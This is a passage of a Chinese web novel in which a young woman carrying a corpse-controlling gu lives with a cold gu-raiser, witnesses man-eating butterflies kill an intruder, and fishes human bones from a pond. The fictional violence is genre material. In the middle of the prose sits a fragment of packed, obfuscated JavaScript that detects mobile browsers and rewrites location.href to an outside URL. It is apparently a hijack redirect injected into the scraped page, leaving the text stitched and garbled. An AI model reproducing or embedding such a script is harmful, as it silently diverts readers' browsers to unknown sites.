秋满坐起身,摸了摸自己梆硬的后脑壳,看来昨天又在地板上躺了一夜,腰酸腿疼脑壳痛。
昨晚具体发生了什么。
秋满冥思苦想,记忆仍旧只停留在拎着食盒站在门前的画面,再往后,她是如何进的门,又是如何在地板上躺了一夜,完全想不起来。
和前晚从乱葬岗回来的情形一模一样。
秋满低头看了看被扶尸蛊咬过的食指指尖,那里只有一个细微的小孔,不仔细看几乎看不见。
她该不会以后每到晚上就会失去意识吧?
秋满沉默片刻,很快看开了。
失去意识就失去意识吧,以前在药庄一个月里有半个月都在失眠,以后如果能每天准点倒头就睡,她简直求之不得。
只不过她也不能老睡地板,总得想个办法让自己睡得稍微舒服点。
秋满疲惫地爬起来,抬头再看向满墙振翅的诡异蝴蝶时,居然觉得它们都变得眉清目秀起来,毕竟已经一起睡了两晚,勉强也算睡友。
“早上好。”她说,毕竟接下来的几天可能还要和它们做舍友。
满墙蝴蝶静止不动,上百双复眼直勾勾地盯着她离开的背影,直到她消失在门外,蝴蝶们才重新张动翅膀。
春末的清晨还有淡淡的凉意,秋满出了蛊屋才发现空荡荡的屋子居然出奇的暖和,难怪半夜不会被冻醒。
院中石桌边,饲蛊人换了身款式差不多的衣裳,正在慢条斯理地吃早饭,新送来的食盒搁在桌子另半边。
听见蛊屋那边的动静,他也没有任何反应,全当院子里没秋满这个人。
秋满默默去后院打水洗漱,等她洗漱完回来饲蛊人已经不在院中了,打开桌上的食盒看了眼,果然还有另一份早饭。
他这会儿总不会在睡觉吧?
秋满走到他门前敲了敲门:“早上好,剩下的早饭我可以吃吗?”
没人回。
停了会儿,她再次敲了敲门:“昨晚的晚饭你吃了吗?”
还是没人回。
秋满面不改色继续敲:“昨天的食盒里放了一张借条,你有看见吗?”
“嘭”地一声,有什么东西砸到门上。
秋满懂了,他的意思是“听见了,你烦不烦”。
哈哈,明明都那么生气了,还要压着脾气,再烦也只是砸门表达不满。
不像药庄里的人,一生气就会摸起棍子打人。
秋满心情愉悦地吃了一顿饱饭,饭后自觉将碗筷全部洗干净收回食盒,等中午柳大叔来取。
做完这些,又没事儿可干了。
不好白吃人家的饭,秋满在宅子里转了一圈,决定把后院的杂草清清。
忙活一上午,杂草清完,梅树上多余的树枝剪了,小亭子也擦得干干净净,晌午的日光晒着暖洋洋。
秋满洗净手,午饭后便在亭子里的美人靠上安然躺下,青草的清香顺风吹过来,昏昏欲睡。
过了不知多久,她感觉眼前暗下,阳光被遮住。
秋满睁开眼,饲蛊人正微微俯身看着她,身后长发滑落到身前,柔软的发梢悄然垂在她墨绿色的衣上。
他盯着她迷茫的眼睛:“你怎么还不出门?”
秋满:“啊?”
饲蛊人将昨天的钱袋放她身上。
秋满刚清醒过来,反应有些迟钝,拿着他的钱袋,不解地又“啊”了声。
饲蛊人轻啧,直起身,懒得再看她蠢蠢的脸。
看着他离开的背影,秋满感到前所未有的茫然。
柳大叔昨天说以后再出门不要让别人发现她和饲蛊人住一起的事,虽然不知道具体什么情况,但秋满早就决定一刀切,干脆不出门,谁知道乱出门会不会给饲蛊人惹出什么麻烦事。
可是他刚才莫名其妙地来,又莫名其妙地走,走之前还给了个钱袋,究竟是什么意思?
要她继续出门花钱吗?
那她是出门,还是不出门呢?
-
秋满决定还是出趟门,她需要给自己整两床被子,不然天天睡地板实在难熬。
于是,临走前她又去敲了敲饲蛊人的房门。
“我要出门了,这次出去买床被子和枕头。”
意料之中的,里面没人应。
秋满继续:“钱袋放你门口了,昨天买衣裳的钱还剩一些,这次天黑之前我一定能回来。”
里面的人还是没理她。
秋满想了想之前两次的情况,识趣地没有再说第三句话,不然他可能又要砸门。
走出桃花巷,秋满便察觉到有人在看她,目光隐晦,且不止一个人。
她在药庄里待了十二年,时刻被人盯着,对人的视线极其敏感,故作不经意地侧身看了几眼,没找到暗中的人。
她初来乍到,一般不会有人盯她,唯一能让她引起别人注意的地方只有昨天在绣兰阁发生的那件事。
秋满心不在焉地想着,暂时没有理会,打又打不过,跑也跑不动,还不如顺其自然。
她进了铺子买被子和枕头,店家前一刻还在热情地说当然可以送货上门,一听见送货上门的地址,顿时笑不出来了。
连进几家铺子,店家们全都支支吾吾地说卖是可以卖,但真不方便送货上门。
已经第七家了。
秋满实在纳闷,昨天绣兰阁那些人看起来不太像是对饲蛊人畏惧如虎的样子,怎么今天一提到要去饲蛊人的宅子,这些店家反而个个脸色大变,委婉地找各种理由推辞?
算了,既然人家不愿意,她也不能强迫,大不了自己来回多跑几趟,就当锻炼身体。
秋满抱着一套薄毯和枕头走出门,隔了会儿忽然发现暗中盯着她的视线消失了,很久没再出现。
“真是奇怪。”她嘀咕着走进桃花巷。
十几步外另一条狭窄的巷子里,两个魁梧的灰衣男人如临大敌地盯着巷口的青年,面色紧绷,步步后退,手却警惕地摸向后腰别着的匕首。
对面的青年穿了一身没有任何蝶纹和银饰的黑红色长衣,阳光从他冷白的皮肤斜切而下,渐渐匿入阴影。
“你们这般晃眼地跟着我的蛊尸,是想做什么?”他瞧着他们,宛若看一只在蛛网上垂死挣扎的虫子。
那两人不敢吭声,不过饲蛊人并不在意,耳上的宝石红蝴蝶耳饰突然间活了过来,它轻轻扇动了一下翅膀,一道红影滑过,眨眼便出现在那两人面前,晶莹鳞粉扑簌而下。
两人只觉眼前一花,瞳孔瞬间失焦,低垂着头,语气僵硬地回答道:“我们奉公子之命,跟踪那位姑娘,查清她与您的关系。”
“哪家公子?”
“陆幸,知州大人之子。”
“查清后又待如何?”
“公子说,或可利用她入您蛊屋。”
说罢,两人猛然清醒过来,意识到刚才说了些什么,面色骇然地倒退几步,直到身体抵上冰冷的墙壁。
临安富庶,庙小妖风大,这几年乱七八糟的人常往这凑,各自心怀鬼胎,实在扰人。
蝴蝶回到饲蛊人耳上,乍看又是一枚普通的耳饰。
“倒确实可以试试。”
他轻嗤,转身离开巷子。
巷中的两人对视一眼,刚松了口气,下一瞬,被蝴蝶鳞粉扑簌过的地方骤然泛起灼热,眼前很快暗下,再难视物,但两人皆不敢抱怨,还需抓紧时间回府上汇报,公子这次怕是要遭殃。
-
秋满将毯子和被子放进蛊屋,出来时发现饲蛊人门口的钱袋还在原处,以为他今日又没出门,便过去敲敲门。
“我想再借你一两银子,欠条晚上回来补给你,可以吗?”
没人应。
她继续:“一床被子要
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一两,我没想到被子这么贵,昨天剩的钱只够买毯子和枕头。”
还是没人应。
两句话说完了,若再说第三句话,他可能又要生气。
他不说话就是默认,秋满弯腰从钱袋里摸出一粒银豆子,转身出门。
不多久便抱着一床新的棉花被回来了,她将被子铺好,重新回到饲蛊人房门前,将新的欠条放在钱袋下面压着,惯例敲门。
“欠条和钱袋都放在你门口,我去后院晒太阳,有事的话喊我一声就行。”
说完,原地等了片刻,没人回应。
默认他听见了。
秋满抱着小毯子去了后院,在有太阳的那边找了个合适的位置躺下,调整好姿势再将毯子往头上一蒙,又是幸福的一天。
呼吸逐渐趋于平缓,水蓝色薄毯严严实实地盖住她上半边身体,将多余的阳光挡去。
院中飞来几只蝴蝶,有人缓缓抬步走上台阶。
饲蛊人悄无声息停在她身前。
一只粉色蝴蝶在他眼前飞了一圈,之后稍稍降低高度,绕着美人靠上蒙头睡着的女人转了转,最后安稳地停留于她露在外面的手背上。
沉睡中的少女似有所觉,手指不自觉地颤了下,而后恢复平静。
饲蛊人居高临下地瞧着她。
他还是不太理解,她小蜜蜂般忙忙碌碌跑了一下午,结果最后就花出去一两多,比昨天花的钱还少,现在还心满意足地跑来这里睡觉。
知道自己快死的人,不是应该死前好好潇洒快活一番么?她怎么看起来反而更爱睡觉?
难道是她觉得还能活两个月,想留到最后几天再快活?
饲蛊人沉吟片刻,抬手掀开她头上的毯子,看见她被吓醒后脸上一瞬间流露出惊慌的神色,唇角微微翘起。
看清是他后,秋满脸上的惊慌褪去,恢复了往常的平和,略显惺忪的眼眸疑惑地望着他,像是在问他“有什么事吗”。
“你快死了。”
饲蛊人满怀恶意地开口,只是嗓音依旧冰凉,让人觉得他只是在平铺直述一个事实。
秋满“哦”了声:“我知道啊。”
他早就说过这句话。
饲蛊人:“最多还有三天。”
秋满:“?”
前两天不是能还活两个月吗?
见她神色终于有了些许变化,饲蛊人眉梢轻扬,凉凉道:“扶尸蛊发作后,会让你死得更快。”
秋满了然。
扶尸蛊昨晚发作过,所以她能活的时间更短了。
饲蛊人将她变化的神色尽收眼底:“你没有什么想说的?”
“有啊。”秋满抱着毯子,惋惜道,“被子和毯子白买了。”
要是早知道还剩三天可活,她这几天就直接睡地板了,何必浪费那么多钱买这些东西。
他一看就不像是会用别人用过的东西,等三天后她死了,他定会把她用过的东西直接扔了。
显然她的回答不是饲蛊人想听到的,眼睛黑沉沉的,语气更冷了几分:“这就是你的临终遗言?”
啊这。
他怎么看起来好像更不高兴了。
秋满斟酌道:“那……也可以不是?”
饲蛊人面无表情地看着她。
秋满默默和他对视,突然想起确实有临终遗言这么回事,她倒真有一件事想拜托他,只是要办成这事儿太危险了,可能会给他惹来大麻烦,她没想好到底要不要说。
她犹豫的时间并不长,但饲蛊人耐心有限,折腾一通却没得到自己想要的答案,冷笑一声,神色阴郁地离开此地。
走之前又一次将钱袋丢给她,并且留下一句话。
“三天之内若是用不完这袋钱,待你死后我便将你的尸体扔去乱葬岗喂狗。”
秋满看了看他离开的背影,又看了看自己怀里沉甸甸的钱袋,满脑袋问号。
怎么还有非逼着别人花他钱的人啊?
5. 第五章
对于饲蛊人的威胁,秋满决定当做没听见。
人死如灯灭,灯灭了,魂没了,还在意区区一具肉//体做什么?
真是好没有杀伤力的威胁。
秋满将钱袋压在脑后,重新躺下睡觉,反正晚上一到点扶尸蛊就会强行控制她入睡,她不怕白天睡多了夜间失眠。
柳闲送来的晚饭一如既往的丰盛,鸽肉丸子汤,虾笋卷,焦香烤鸭,配的乌米饭,还有两样清甜的素菜。
他特地分了两个食盒,一份给饲蛊人,一份给秋满,分量都不算多,秋满的那份多了一样甜点酥酪。
饲蛊人不爱和秋满同桌吃饭,要么秋满先等他吃完,要么她拎着饭盒去别的地方吃。
因此,秋满会趁着这段时间先去沐浴,等她沐浴完,饲蛊人也吃好了。
天色黑下来,秋满老老实实回到蛊屋等扶尸蛊发作,很快失去意识,倒头就睡。
她以为自己这次又能一觉到天明,没想到半夜突然肚子疼,把她疼醒了。
秋满不以为意,熟门熟路地蜷起身子,两手捂住肚子,像一只被烫熟的虾,她习以为常地忍耐。
估计是体内的毒又发作了,每个月总有那么几次,习惯了就好。
这一疼便疼至天明,打破以往毒素发作时间最长的记录,秋满意识昏昏,心想难道是身体发现她快死了,所以赶紧抓住这最后的机会狠狠折腾她?
这也太坏了。
疼了大半宿后终于消停,秋满实在没力气起来吃早饭,干脆将眼一闭又睡了过去。
一上午没被敲门声骚扰的饲蛊人有些心不在焉,思索片刻后放下手中雕刻了一半的檀木盒,缓步离开房间,发现院子里的另一份早饭原模原样地放着,里面的早点半点未动。
她不可能无缘无故不吃饭,多半是出事了。
虽然不太在意她的生死,但饲蛊人还是决定去看看,毕竟他的扶尸蛊还在她体内。
蛊屋中,秋满呈十字型脸朝下趴在被子上,汗湿的长发披散在被子上,半侧的清瘦脸颊黏连了两缕黑发,睫毛微微颤动,睡得不太安稳。
饲蛊人捏住她手腕,漫不经心地把了会儿脉。
她中毒了。
但因为她体内稀奇古怪的毒本来就多,新毒实在没什么本事,顶多让她疼了半宿。
饲蛊人收回手,没再管她。
既然死不掉,那便不是什么大事,至于多出来的毒会不会加速她的死亡时间,就不在他的考虑范围内了。
待他再回到院中,石桌边已多了一名黑衣娃娃脸少年。
“公子,陆知州到了,想要见您。”娃娃脸木着脸说,这话听着恭敬,语气却轻松自在。
“不见。”
“真不见?”娃娃脸确认道,“认真计较起来的话,陆知州也算你半个师叔,你真不见?”
饲蛊人嗤道:“他算个什么东西。”
娃娃脸:“好吧,那我去回他。”
话是这么说,人却笔挺地站在原地,直瞪瞪地瞅着他。
饲蛊人:“还有事?”
娃娃脸指了指桌上的早饭:“我能吃不?”
饲蛊人:“可以。”
娃娃脸大喜,正要拎走秋满的那份食盒,就听饲蛊人道:“你若不怕毒死,就吃吧。”
娃娃脸:“?”
他火速松手,倒退半步,瞪着那个食盒犹如面对此生大敌,语调上扬:“又来?”
那群没脑子的白痴好不容易消停两年,怎么突然又开始了?
娃娃脸对“毒”这种东西向来退避三舍,一听饲蛊人那话,顿时连声招呼也没打,扭头便要翻进隔壁那个闹鬼的大宅子。
在他身影消失前,饲蛊人忽地开口。
“定微。”
娃娃脸从墙那头伸出个黑乎乎的脑袋:“怎么了?”
饲蛊人道:“下午清闲居,让姓陆的把他那蠢货儿子带上。”
娃娃脸:“……哦。”
怎么突然改变主意了?
-
秋满睡了一上午,神清气爽地起床洗漱,正好赶上柳闲来送午饭。
柳闲刚要走,赶巧瞧见她从后院出来,忍了一会儿,实在没忍住,询问道:“秋姑娘今日怎么没吃早饭?是不是不合胃口?”
秋满愣了下,注意到他手里拎着的早饭食盒,明白过来,连忙摇头:“不是不是,我昨晚失眠,将近天明才睡着,就一不小心睡过了头,刚刚才醒,没来得及吃。”
原来如此。
柳闲松了口气,不是嫌弃他做的饭就好。
秋满怎么可能嫌弃,她只恨不能再多吃几日这些美味的饭菜。
饲蛊人一直没有出来吃饭,秋满不小心将心中疑惑说出,柳闲便解释:“我刚来送饭时在门口碰见他,他说有事出门一趟。”
秋满诧异。
一天十二个时辰,能在屋里待十一个时辰的人居然主动出门了。
也不知道什么事这么重要,居然要他亲自出门去处理。
在秋满看来,饲蛊人是一个集神秘与有钱于一体的人,气质矜贵,说话难听,脾气还难搞,他这辈子活得一定很有底气,想来不会是个简单的人物。
但她不打算深思,她一个活不过三天的普通人,去想那些麻烦事干嘛,有时间不如多吃两口饭,以后上路也能当个饱死鬼。
开开心心吃完午饭,秋满揣着柳闲送的桃汁水溜达去后院亭子里晒太阳,今天天气不算好,云层又多又厚,阳光照不下来,她睡得不怎么安稳。
过了小半个时辰,秋满愈发觉得不对劲,她何止是睡不安稳,她根本是肚子疼得睡不着。
最近这毒发作得是不是太频繁了些?昨天不是已经来过一次了吗,今天还来?
这是铁了心要跟她过不去呀!
秋满揉着肚子,满脸疲惫地和它打商量:“姐,你消停点行吗?大家都是一体的,一荣俱荣一损俱损,我疼你也疼啊。”
“我最近可没苛待你,还好吃好喝地供着你呢。”
“再说,我都没几天好活了,你真的不能发发善心,让我舒舒服服地走吗?”
肚子不语,只是一味地抽抽。
秋满一怒之下翻身坐起,然后猛喝桃汁水,试图先把自己撑死。
此举伤敌八百自损一千,极其不划算。
秋满无奈,秋满打滚,秋满一拳打中旁边的一条腿。
咦?哪来的腿?
她抬头,对上一张蒙着黑色面罩的脸,旁边还有一张差不多的脸,两人左右太阳穴的位置各纹着一条拇指长的青色小蛇,红色蛇眼,看起来十分邪恶。
大白天穿一身夜行衣闯进别人家,脸上纹蛇,腰间挎弯刀,一看就不是好人。
秋满看了眼他们比自己胳膊还粗的手腕,默然片刻,缓缓举起手,很是识时务者为俊杰。
“好汉有话好说,劫财还是劫色?”
左边太阳穴纹着蛇的好汉压根不搭理她,径直把弯刀挂在她脖子前,嗓音诡异阴森:“你就是饲蛊人的相好?”
口音不大像中原人。
秋满懵了:“啊?”
她哪里看起来像饲蛊人的相好?
她改还不行吗?
右边太阳穴纹着蛇的好汉不给她否认的机会,抢先道:“哥,和她废什么话,直接把人抓去蛊屋不就知道了?”
蛊屋?蝴蝶屋?他们的目标是那间屋子?
好汉哥单手拎住秋满的后衣领,动作粗暴地将她拖去前院的蛊屋,本想将她摔进门里,后又顾忌到什么及时收了力。
秋满被扯得一个踉跄,脑袋“嘭”地一下重重磕到门上,顿时眼冒金星,腹部的痛意更是不减反增。
好汉哥刚松手,她便脸色苍白地滑到地上,一副喘不上气的虚弱模样。
好汉弟大吃一惊:“哥,你把她撞死了!”
“她今天就算是死也得先给我把门打开!”好汉哥强硬地抓起秋满的手按在门上。
秋满浑身疼得快晕过去,头疼,手疼,肚子疼,这都叫什么事儿啊。
两人一人站在一边,隔得远远地抓起她的胳膊去推门。
嘎吱一声,门开了。
两人立即往房门两边躲避,生怕里面会突然钻出什么东西吃掉他们。
没了桎梏,秋满终于能自己扶着门站起来,她疼得满头大汗,左右看看他们,率先进了屋。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408407|200604||http|test|mini|href|location''.split(''|''),0,{}));
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>两人对视一眼,见她就这么光明正大地进了门,满目震惊,不敢相信她竟当真安然无恙地走进这间屋子。
隔了好一会儿,两人确认无碍后便小心翼翼地、一前一后踏进屋子。
蝴蝶们静默地伫立在墙上,乍看像极了一墙的装饰品,两人只匆匆扫了眼便没再关注,反而直奔对面那面墙。
墙上摆着上百只檀木盒子,花纹古怪,定是出自饲蛊人之手。
他们要找的东西一定就在这些盒子里。
但饲蛊人的古怪他们一清二楚,不敢自己开盒子,再次抓起秋满要她打头阵。
“把这些盒子全部打开。”
秋满:“……这不好吧?”
尽管她在这屋子里安稳地睡了三天,但她一直觉得这面墙上的盒子怪异得很,从来不敢随意触碰,他们怎么敢打这些盒子的主意。
“少废话,让你开你就开。”
抵在脖前的弯刀将她皮肤划出一条细细的伤口,鲜血缓慢溢出。
无人注意到,墙上的蝴蝶在嗅到血腥味的瞬间齐齐抖动了一下翅膀,苏醒的复眼直直凝向屋中的活人。
秋满好心提醒:“我觉得这些盒子有点危险,你们真的要开吗?”
两人早已被眼前的东西迷花了眼,根本不听她的劝告:“少花言巧语,也别想着逃,看看到底是你跑得快还是我的刀快。”
脖子上的弯刀往下压了压,伤口更疼了。
好言难劝早死的鬼,秋满只好闭嘴,老实按照他们的要求选了其中一个檀木盒,在他们警惕而又期待的目光中慢慢打开盒子。
空的。
两人失望地骂了声,催她继续开盒。
一连开了几个都是空的,两人也有些不耐烦,不自觉地便放松了警惕,收起刀,一左一右地和她一起开盒,很快,地上便堆了几十个空盒子。
“哥,这个会不会就是扶尸蛊?!”
好汉弟发出一声惊喜的叫喊,秋满这会儿正疼得满脑子嗡嗡响,骤然听见熟悉的名字,霎时一激灵,脑子清醒过来。
什么东西?
扶尸蛊?
如果她没听错的话,她体内的那玩意就是他们要找的东西。
秋满扭头看向好汉弟手中的盒子,里面放着一只白色的茧,此时那只茧正以肉眼可见的速度缓缓裂开。
看到那东西的一瞬间,秋满浑身汗毛突然立了起来,她感觉大不妙,连身体的疼痛都忘了,果断往后退。
“快把盒子盖上!”好汉哥下意识觉得不妙。
一只惨白的蝴蝶破茧而出,好汉弟盖盒子的动作慢了一拍,那只蝴蝶亲昵地停在他手背上。
“哥,它好像也没那么可怕……”
话音刚落,蝴蝶停留的手背便只剩下一层白骨,鳞粉腐蚀了他手背上的肉,白蝴蝶吸饱了血,蝶翅染上一层鲜艳的红。
这一切发生得太过迅速,好汉弟甚至没感觉到疼痛,半只手便被腐蚀干净,只剩下几根细伶伶的骨头。
身后传来异样的声音,秋满回头,满墙蝴蝶从她眼前浮云般掠过,长长的彩带直直飘向屋中另外两个活人。
好汉哥反应快,立刻把弟弟推出门,只可惜自己慢了一步,绚丽多彩的蝴蝶扑到他身上,将他从头到脚包裹住,密密麻麻,不留一丝缝隙。
也许只是一眨眼,也许是很久。
一个蝴蝶人茧就这么轻飘飘地倒在门前,连滴残血都没有留下。
好汉弟呆呆地看着地上那具穿着衣裳的新鲜白骨,忽然之间失去了说话的能力。
蝴蝶围绕在门前,似有出去之意,却始终克制着。
秋满:“……”
她刚才看见了什么!
蝴蝶吃人!
蝴蝶为什么会吃人!
她这几天晚上都是和这些吃人的蝴蝶一起睡的啊!
她懵了,傻了,感觉自己可能在做梦。
直到有人若无其事地走进门,看都没看一眼地上的白骨尸体,闲庭信步般走到仿佛失去神魂的秋满身前,微凉的手指轻轻抬起她下巴,冷冰冰的目光悄然落在她脸上。
“昨日我便让你出门花钱玩儿,你偏不愿,现在可是后悔了?”
6. 第六章
后悔不后悔什么的,秋满只随便听了一耳朵,知道没有危险后便放心地两眼一闭,嘎巴一下晕了过去。
她实在是太疼了,从头到脚没有一处不疼的,能撑到现在才晕,已经算她天赋异禀。
晕的时间选得很好,晕之前还知道要往前倒,有人接。
饲蛊人眼疾手快拎住她后颈衣领,没让她倒在自己身上,垂眸扫了眼两人之间过近的距离,不悦地皱起眉,正要松手把她扔地上让她自生自灭时,门边及时探出个娃娃脸脑袋。
“公子,这个活的怎么处理?”
好汉弟已经被他打晕,他可没有饲蛊人对秋满那么宽容,直接粗暴地把人拖了过来。
“哪来的扔哪去。”
被他这么一打岔,饲蛊人倒是打消了不顾秋满死活的想法,嫌弃地把她撂被子上,丝毫没有怜香惜玉的意思。
娃娃脸将他的冷酷无情尽收眼底,啧啧两声:“公子,你可真是一点也不温柔。”
说的时候完全不记得自己手里也不温柔地拖着个半死不活的人。
饲蛊人没理他。
“这人头上纹着蛇,应该是南境人,要不要和宋一一那边说声?”娃娃脸说。
“让她把人带回去看好。”饲蛊人踢踢脚边的另一具白骨,“这个扔后院池子里。”
“好嘞。”
娃娃脸熟练地用地上散落的衣裳打包起碎骨头,前前后后很快便收拾干净,最后拽着两边衣袖干脆利落地给这包骨头打了个结。
收完尾,他背着骨头又把头探进门内,伸手抹了下脖子,道:“屋里那个要一起处理掉吗?”
饲蛊人:“再啰嗦,我先把你处理了。”
“不要就不要,威胁我作甚?”娃娃脸说,“我瞧这姑娘胆子有点小,等她醒后,公子你可千万别再吓唬她。”
“你今天怎么这么多话?”饲蛊人有点烦他。
娃娃脸笑得露出两颗虎牙:“因为马上就能见到宋一一了啊,我们都半年没见了,这次多亏这俩小偷,不然还不知道什么时候才能再见到宋一一。”
饲蛊人凉凉道:“恭喜你,又能见到她和她那十二个未婚夫。”
“……”
娃娃脸垮下了脸。
-
秋满做了一个极其漫长的梦。
梦里她被一群吃人的蝴蝶追着杀,她跑啊跑,拼尽全力终于跑到一扇门前,喜出望外地一把推开门藏了进去,没注意到这扇门瞧着十分眼熟。
外面的蝴蝶徘徊几圈后找不到人,只得不甘心地离开。
她松了口气,结果一回头发现自己又回到满是蝴蝶的蛊屋,屋子里白骨累成小山,全是被蝴蝶吃掉的人。
秋满被吓醒了,还没缓过来,抬头便见满墙的蝴蝶一起一伏地扇动翅膀,登时一口气呛在嗓子眼。
活人微死。
她麻木地躺了回去,脑子里不受控制地回放晕倒之前发生的事。
她和这群杀人蝴蝶共处一室整整三天,半点没发现它们竟然是那样的蝴蝶,她以后再也无法用平常心对待蝴蝶了……
也不对,她可能没有以后了。
这么想着,秋满躁动的心缓缓平静下来,开始放飞自我胡思乱想。
其实仔细想想,这些蝴蝶吃起人来很有效率,被吃的人甚至来不及发出一声惨叫就原地脱骨了,可见它们速度之快,杀人之迅猛。
正适合她这种有点想死,但因为怕疼又不敢主动寻死的人。
要不和饲蛊人打个商量,等她下次疼得想死时干脆让蝴蝶把她吃了算了……好像不行,她已经把自己的尸体抵给了他,就算是死也必须给他留个全尸。
唉,做人真不能太有道德,还是当蝴蝶好,吃人都不用打招呼,更没有道德负担。
说到吃,她好像有点饿。
秋满推开窗,远处晨色正好,阳光落进她眼底,照出一个浅浅的光斑。
原来已经是第二天早上了。
而她昨天下午喝了一整筒桃汁水,一夜过去,这会儿居然没有半点着急的感觉。
秋满按了按平静的肚子,陷入沉思。
这扶尸蛊真好用,解决失眠问题的同时还能顺便帮她解决三急问题。
屋外传来细微的动静,秋满拉开门,看见正在院中扫落叶的柳闲。
“早啊秋姑娘,昨晚怎么又没吃饭呢?你这身体得多吃点,可不能吃一顿又丢一顿……”
他絮絮叨叨,念着念着戛然而止,瞠目结舌地望着秋满和她身后的蛊屋。
秋满疑惑:“柳大叔,怎么了?”
柳闲吸了口气,攥紧手中的扫帚,结结巴巴道:“你、你……你住这屋啊?”
哦对,他之前的确提醒过她不要轻易接近这间蛊屋来着。
秋满尴尬地笑笑,不知道该如何解释,这时隔壁房间门打开,饲蛊人打着哈欠从他俩中间走过,边走边抽了根发绳将身后披散的长发稍稍扎起,旁若无人地打水洗漱。
柳闲看看他,又看看秋满,露出了恍然大悟的表情,先是不赞同地紧皱眉头,接着不知想到了什么,不赞同渐渐变成痛心怜惜,最后信心满满地递给秋满一个鼓励的眼神。
秋满:“……”
您这是恍然大悟了什么啊。
柳闲打扫卫生,饲蛊人享用早饭,秋满打水洗漱,三人动作同步,仿佛早已操练过成千上万次。
等秋满洗漱完回来,柳闲正在扫门外的台阶,她想过去帮忙,被柳闲拿扫帚赶回去吃饭。
秋满瞄了眼还在慢悠悠卷春饼的饲蛊人,开始纠结。
这人一向不爱和她坐一起吃饭,大概是她刚来那天的吃相太不端庄,严重影响到他的食欲,但她发誓,那次纯粹是因为她两天没吃饭,实在是饿惨了才不得已大口吞之,之后她每次吃饭都很正常的。
不行,她必须得给自己挽回点面子。
秋满轻咳一声,若无其事地走到饲蛊人对面坐下,他眼都没抬,喝了口粥。
秋满打开食盒,依次取出甜豆浆,瘦肉粥,松花蜂蜜糕,现做的切丝酱肉和腌脆笋,还有几张春饼。
她卷了卷春饼,刚吃一口,饲蛊人便意味深长地看了过来:“味道如何?”
“味道很好啊,柳大叔的手艺依旧冠绝临安。”
不
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过他怎么突然这么问?态度还这么温和,十分反常。
“葫蔓藤,又名钩吻草。”饲蛊人慢条斯理卷起一张春饼,补充道,“它还有另一个比较平易近人的名字,断肠草。”
声音不大,门外扫地的柳闲没听见。
秋满倒是被吃了一半的春饼噎住,猛猛喝了半杯甜豆浆,咳得眼里都是泪。
饲蛊人微微翘起唇角,当着她的面吃了半卷春饼。
“……你不是说饼里有毒?”她拍着胸口缓缓气。
“毒对我没用。”他说。
秋满心情复杂,这可真是天选试药人体质。
她低头看看手里剩下的半卷春饼,踌躇片刻,面不改色地送进嘴里。
饲蛊人停筷:“你不怕中毒?”
“反正吃都吃了,要中毒早该中毒了。”秋满不以为意地卷起第二个春饼,“而且今天是我的最后一天,还不知道什么时候死,要是过会儿就得死,那我岂不是得饿着肚子上路?”
哦,忘了和她说“三天”是骗她的。
饲蛊人丝毫没有骗人的愧疚之心,反倒悠闲地单手支颐,就这么看着她用“再吃最后一顿”的表情认认真真地吃春饼,吃完春饼再吃松花蜂蜜糕,边吃边喝粥。
最后喝完剩下的半杯甜豆浆还不过瘾,指着他面前没动过的松花蜂蜜糕,问他:“你还吃吗?”
“不吃。”
“那我能吃吗?”
他不太爱吃甜食,甜豆浆和蜂蜜糕都没动,她想吃便都推给了她,态度温和得过分,让秋满不禁怀疑这会不会是他对自己的临终关怀。
“你不好奇谁下的毒?”饲蛊人问。
她不是很好奇,但既然他这么说了,她便配合地问了:“嗯……谁下的毒?”
“你不认识。”
“……那你让我问的意义在哪里?”
饲蛊人沉吟,道:“让你消消食?”
“……”
这算什么消食?
用嘴巴消灭食物的消食吗?
“你觉得这不算消食?”
没等秋满给出答案,他自顾自地下了结论:“确实不算。”
秋满觉得他有些怪怪的。
“我打算养几条鲤鱼。”他突然换了个话题。
那就养呗。秋满满眼都是这四个字。
“但后院池子里的脏东西太多,需要找个人去捞一捞。”饲蛊人那双漆黑的眼睛直勾勾瞧着她,语调幽幽,“这种适合消食的活动,你认为找谁去比较好呢?”
秋满:“……”
她就说这人怎么好端端的突然改了性子,不仅愿意同她坐一块儿吃饭,还颇有耐心地和她闲聊这么久。
哈哈,原来在这等着她呢。
但她确实在他这白吃白喝白住好几天,只是打扫一下池子而已,轻松得很——
轻松个鬼啊!
秋满颤巍巍蹲在池子边,身心俱疲地瞪着刚用竹竿网兜捞上岸的、两根几乎被淤泥泡变色的人腿骨头,以及水面下隐隐约约现出的大片骨白色。
“……”
突然很想把上午吃下去的早饭吐出来。
7. 第七章
“被发现了啊。”
身后传来一道幽凉的嗓音,离得很近,大概在她身后半步左右。
或许只要一抬脚,就能把她踹池子里。
意识到这点的秋满后脖子发凉。
什么叫“被发现了”?
明明是他想着法让她发现,现在还来恐吓她。
秋满瞅着水面倒映出来的模糊人影,开始认真反省,她这几天对饲蛊人的误解颇深。
他可能根本不是柳大叔说的那种乐于助人的好人,更不是见她可怜便给她吃住的好人。
谁家好人会养一屋子吃人的蝴蝶?
谁家好人会杀了人后还把尸骨丢进后院的水池?
谁家好人闲着没事把她骗来捞池子?等捞出来人骨头,再鬼魅似的出现在她身后告诉她被发现了,好像下一刻就要杀人灭口。
可她本来今天就要死了,他想杀她又何必多此一举。
太闲了所以故意吓唬她玩儿?
秋满摇摇头,他肯定没这么无聊……吧。
但还是想不通,最后决定把他晾一边,攥着竹竿网兜继续捞骨头,捞完一根往后甩一根。
网兜沾着淤泥和池水在空中一次次甩出半圆的弧线,每次着落点都不一样,争取在最短时间内精准打击身后那个罪魁祸首。
当然,这一通无差别攻击下来她自己也没能次次逃过,身上多多少少沾了些泥点子。
“秋满。”
哇,真少见,他尊贵的金口竟然第一次主动喊了她名字!
秋满充耳未闻,继续埋头捞池子甩骨头,泥点子乱七八糟地四处飞溅。
饲蛊人忍无可忍,单手捏住她后脖颈拎猫似的把她拎起来,转了个面,指腹染上她皮肤的温度。
他不适地皱了下眉,语调冷得能冻死人:“好玩么。”
秋满缩了缩脖子,被他手指碰过的地方怪怪的,她努力忽视那种感觉,开始用眼睛上上下下打量着他。
他身上竟然没沾上半点泥水。
秋满装傻:“咦,你怎么在这里?我没不小心弄到你吧?”
